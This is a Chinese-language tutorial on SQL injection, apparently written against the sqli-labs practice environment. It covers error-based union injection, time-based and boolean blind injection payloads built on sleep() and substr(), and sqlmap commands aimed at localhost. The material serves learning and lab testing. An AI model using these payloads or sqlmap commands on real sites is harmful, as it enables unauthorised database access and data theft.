
*****
## SQL注入
### GET和POST請求
GET提交,請求的數據會附在URL之后(就是把數據放置在HTTP協議頭中),以?分割URL 和傳輸數據,多個參數用&連接
<br>POST提交:把提交的數據放置在是HTTP包的包體中。
<br>因此,GET提交的數據會在地址欄中顯示出來,而POST提交,地址欄不會改變
### get基于報錯的SQL注入
通過url中修改對應的ID值,為正常數字、字符(單引號,雙引號,括號)、反斜線來探測url中是 否存在注入點
### get基于報錯的SQL注入利用
1.order by判斷字段數
2.利用union select聯合查詢,獲取表名
3.利用union select聯合查詢,獲取字段名
4.利用union select聯合查詢,獲取字段值
### 盲注介紹
Blind SQL(盲注)是注入攻擊的其中一種,向數據庫發生true或false這樣的問題,并根據應用程 序返回的信息判斷結果。這種攻擊的出現是因為應用程序配置為只顯示常規錯誤,但并沒有 解決SQL注入存在的代碼問題
### 盲注種類
1.布爾類型
2.時間的盲注
### GET基于時間的盲注
```
if(ascii(substr(database(),1,1))=115,1,sleep(3))
```
當數據庫名第一個字母的ASCII碼等于115時,執行一次sleep(3)函數等待3秒
### GET基于Boolean的盲注
基于布爾的盲注,我們通常采用下面的辦法猜解字符串
<table>
<thead>
<tr>
<th>SQL語句</th>
<th>顯示狀態</th>
<th>說明狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>((select length(database()))>5)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select length(database()))>10)</td>
<td>無顯示</td>
<td>false</td>
</tr>
<tr>
<td>((select length(database()))>7)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select length(database()))>8)</td>
<td>無顯示</td>
<td>false</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>SQL語句</th>
<th>顯示狀態</th>
<th>說明狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>((select ascii(substr(database(),1,1)))>75)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>100)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>113)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>119)</td>
<td>無顯示</td>
<td>false</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>116)</td>
<td>無顯示</td>
<td>false</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>114)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>115)</td>
<td>無顯示</td>
<td>false</td>
</tr>
</tbody>
</table>
```
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
```
### sqlmap安全測試
```
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique T --dbs
```
### POST基于錯誤的注入
特點:
1.POST請求不能被緩存下來
2.POST請求不會保存在瀏覽器瀏覽記錄中
3.以POST請求的URL無法保存為瀏覽器書簽
4.POST請求沒有長度限制
### POST基于錯誤單引號注入
注入點位置發生了變化,在瀏覽器中已經無法直接進行查看與修改。可以借助對應的插件完 成修改任務
### POST基于錯誤雙引號注入
注入點位置發生了變化,在瀏覽器中已經無法直接進行查看與修改。可以借助對應的插件完 成修改任務
### sqlmap安全測試
```
python sqlmap.py -r target.txt -p passwd --technique E
```
targer.txt文件中是當前網址的請求,加上發送的參數
### POST基于時間的盲注
在存在注入點POST提交的參數后加
```
and (select (if(length(database())>5,sleep(5),null))) --
```
如果執行的頁面響應時間大于5秒,肯定就存在注入,并且對應的SQL語句執行
### POST基于布爾的盲注
在存在注入點POST提交的參數后加入if判斷語句
```
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
```